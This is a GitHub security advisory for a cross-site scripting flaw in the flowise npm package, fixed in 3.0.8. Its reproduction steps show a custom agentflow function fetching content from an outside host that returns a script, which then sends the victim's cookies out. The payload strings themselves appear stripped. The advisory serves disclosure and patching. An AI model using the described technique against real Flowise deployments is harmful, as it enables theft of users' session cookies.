GitHub Advisoryadvisory · npm

GHSA-4fr9-3x69-36wv Flowise vulnerable to XSS

MEDIUM Published 2025-10-03 Modified 2025-10-13 Official page ↗
Ecosystem
npm
Packages
flowise
Severity
Moderate
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Weaknesses
CWE-79
Reviewed
2025-10-03

Affected packages

• npm flowise: < 3.0.8 → fixed in 3.0.8

Description

Summary A XSS(cross-site scripting) vulnerability is caused by insufficient filtering of input by web applications. Attackers can leverage this XSS vulnerability to inject malicious script code (HTML code or client-side Javascript code) into web pages, and when users browse these web pages, the malicious code will be executed, and the victims may be vulnerable to various attacks such as cookie data theft, etc. Details 1. Send a Message `` from User in a chat box: Trigger in other ways: 2. Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows) 3. Create a Custom function as an example, use the below example code. ``` const fetch = require('node-fetch'); const url = 'https://external.website'; const options = { method: 'GET', headers: { 'Content-Type': 'application/json' } }; try { const response = await fetch(url, options); const text = await response.text(); return text; } catch (error) { console.error(error); return ''; } ``` 4. The external website (https://external.website) return a XSS payload as content. 5. The javascript code is executed and the victim's cookie data is sent to the external website. PoC `` Impact it is critical XSS vulnerability. All users of Flowise platform that use the workflows of agents.

Related

Weakness · CWE (1)

  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness

References